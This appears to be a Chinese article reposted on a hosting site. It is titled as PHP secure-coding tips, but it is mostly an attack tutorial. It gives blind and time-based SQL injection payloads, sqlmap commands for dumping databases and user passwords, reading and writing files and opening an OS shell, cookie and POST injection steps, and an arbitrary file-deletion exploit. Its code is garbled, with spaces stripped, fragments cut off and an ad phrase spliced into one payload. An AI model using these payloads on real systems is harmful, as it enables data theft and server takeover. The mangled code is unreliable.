这篇文章主要介绍了PHP安全编码的技巧有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇PHP安全编码的技巧有哪些文章都会有所收获,下面我们一起来看看吧。 PHP 安全编码总结笔记SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。
SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。
"; date_default_timezone_set("Asia/Shanghai"); if(!get_magic_quotes_gpc()){ $var=waf($_GET['id']); echo"过滤后的参数:".$var; } functionwaf($array){ if(is_array($array)){ foreach($arrayas$key=>$value){ $array[$key]=waf($value); } }elseif(is_string($array)){ $array=addslashes($array); #$array=str_ireplace("and","fuck",$array); $substr=array( "and"=>"fuckyou!", "where"=>"fuckyou!", "union"=>"fuckyou!", "select"=>"fuckyou!", "order"=>"fuckyou!", "update"=>"fuckyou!", "sleep"=>"fuckyou!", ); $array=str_ireplace(array_keys($substr),$substr,$array); }elseif(is_numeric($array)){ $array=intval($array); } return$array; } ?>
盲注的使用首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.
html>SQL注入测试代码 失败"); } } } ?> 后端执行SQL语句:'.$sql;?>
猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.
index.php?id=1'andleft(version(),1)=5--+//返回正常,说明版本号是5 index.php?id=1'and(length(database()))=7--+//返回正常,说明数据库名字长度是7 index.php?id=1'and(left(database(),1))='l'--+//返回正常,说明数据库第一位是l index.php?id=1'and(left(database(),2))='ly'--+//返回正常,说明数据库前两位位是ly,以此类推 index.php?id=1'andord(mid((CAST(database()ASCHAR)),1,1))=108--+//验证第一位是否为l index.php?id=1'andord(mid((CAST(database()ASCHAR)),2,1))=121--+//验证第二位是否为y,以此类推
猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.
index.php?id=1'and(selectcount(*)frommysql.user)>=0//存在mysql.user表 index.php?id=1'and(selectcount(*)fromlyshark)>=0//存在lyshark表
猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.
index.php?id=1'and(selectcount(id)fromusers)>=0//返回正常说明存在id字段 index.php?id=1'and(selectcount(name)fromusers)>=0//返回不正常不存在name字段 index.php?id=1'and(selectcount(*)fromlyshark)>=3#--//返回表中记录数
用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.
index.php?id=1'and(length(user()))>=14#//猜测数据库用户名称长度 index.php?id=1'and(selectus免费云主机域名er()like'root%')#//猜测用户名 index.php?id=1'and(selectuser()regexp'^[a-z]')#//猜测开头a-z index.php?id=1'and(selectuser()regexp'^r')#//第一位是r index.php?id=1'and(selectuser()regexp'^ro')#//第二位是o index.php?id=1'and(selectuser()regexp'^root')#//以此类推猜测前四位
延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.
index.php?id=1'andsleep(5)# index.php?id=1'andsleep(5)orderby3#//如果是3个字段,则会延时5秒 index.php?id=1'andselectif(length(user())=0,sleep(3),1)#//如果user=0则延时3秒 index.php?id=1'andif(hex(mid(user(),1,1))=100,sleep(3),1)#//第1个字符=d则延时3秒 index.php?id=1'andif(hex(mid(user(),1,1))=118,sleep(3),1)#//第2个字符=v则延时3秒
◆sqlmap 命令◆常用检测命令:
sqlmap-u"./index.php?id=1"-v3#显示攻击载荷 sqlmap-u"./index.php?id=1"--level=3#指定探测级别 sqlmap-u"./index.php?id=1"--privileges#测试所有用户权限 sqlmap-u"./index.php?id=1"--privilegesroot#测试root用户权限 sqlmap-u"./index.php?id=1"--all#查询所有数据库 sqlmap-u"./index.php?id=1"--hostname#查询当前主机名 sqlmap-u"./index.php?id=1"--is-dba#判断root权限 sqlmap-u"./index.php?id=1"--users#枚举数据库用户 sqlmap-u"./index.php?id=1"--random-agent#随机User-Agent sqlmap-u"./index.php?id=1"--output-dir=""#自定义输出目录 sqlmap-u"./index.php?id=1"--file-read=""#读取文件 sqlmap-u"./index.php?id=1"--file-write=""#写入操作 sqlmap-u"./index.php?id=1"--os-cmd="netuser"#执行一条命令 sqlmap-u"./index.php?id=1"--os-shell#交互执行命令 sqlmap-u"./index.php?id=1"--sql-query=""#执行的SQL语句 sqlmap-u"./index.php?id=1"--cookie=""#指定cookie sqlmap-u"./index.php?id=1"--temper=""#指定过滤脚本 sqlmap-u"./index.php?id=1"--dbs--delay1#延时1秒后注入 sqlmap-u"./index.php?id=1"--dbs--safe-freq3#延时3秒后注入 sqlmap-u"./index.php?id=1"--identify-waf#测试是否有WAF sqlmap-u"./index.php?id=1"--current-db#查询当前数据库 sqlmap-u"./index.php?id=1"--current-user#查询当前主机名 sqlmap-u"./index.php?id=1"--users#查询所有用户名 sqlmap-u"./index.php?id=1"--dbs#列出所有数据库 sqlmap-u"./index.php?id=1"--tables#列出所有的表 sqlmap-u"./index.php?id=1"-D"mysql"--tables#获取mysql库中的表 sqlmap-u"./index.php?id=1"-D"mysql"-T"host"--columns#获取mysql.host表列名称 sqlmap-u"./index.php?id=1"-D"mysql"-T"host"--dump#将mysql.host保存到本地 sqlmap-u"./index.php?id=1"-D"mysql"--dump-all#全部脱裤 sqlmap-u"./index.php?id=1"-D"mysql"-T"user"-C"Host,User,Password"--dump
Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.
sqlmap-u"./index.php"-v3--cookieid=1--level2#判断注入点 sqlmap-u"./index.php"-v3--cookieid=1--dbs--level2#猜数据库名 sqlmap-u"./index.php"-v3--cookieid=1--tables--level2#猜表名称 sqlmap-u"./index.php"-v3--cookieid=1-T表名--clumns--level2#猜字段 sqlmap-u"./index.php"-v3--cookieid=1-T表名--clumns--dump--level2#猜内容
POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.1.浏览器打开目标地址 http://www.xxx.com/index.php2.配置burp代理(127.0.0.1:8080) 准备拦截请求3.点击login表单的submit按钮,或者其他按钮均可4.这时候Burp会拦截到了我们的登录POST请求5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit
sqlmap-rpost.txt-pid--dbs Sqlmap-rpost.txt-pid-Dmysql--tables Sqlmap-rpost.txt-pid-Dmysql-Tuser--columns sqlmap-rpost.txt-pid-Dmysql-Tuser-C"User,Password"--dump sqlmap--dbms"mysql"--method"POST"--data"id=1&cat=2"
其他漏洞利用任意文件删除: 执行删除语句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.
"; if(file_exists($path)){ if(unlink($path)){ echo"删除完成.."; }else{ echo"删除失败.."; } } ?>
关于“PHP安全编码的技巧有哪些”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“PHP安全编码的技巧有哪些”知识都有一定的了解,大家如果还想学习更多知识,欢迎关注百云主机行业资讯频道。
相关推荐: 怎么用Springmvc的post请求json格式参数
这篇文章主要介绍了怎么用Springmvc的post请求json格式参数的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇怎么用Springmvc的post请求json格式参数文章都会有所收获,下面我们一起来看看吧。分析: 这里我们…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。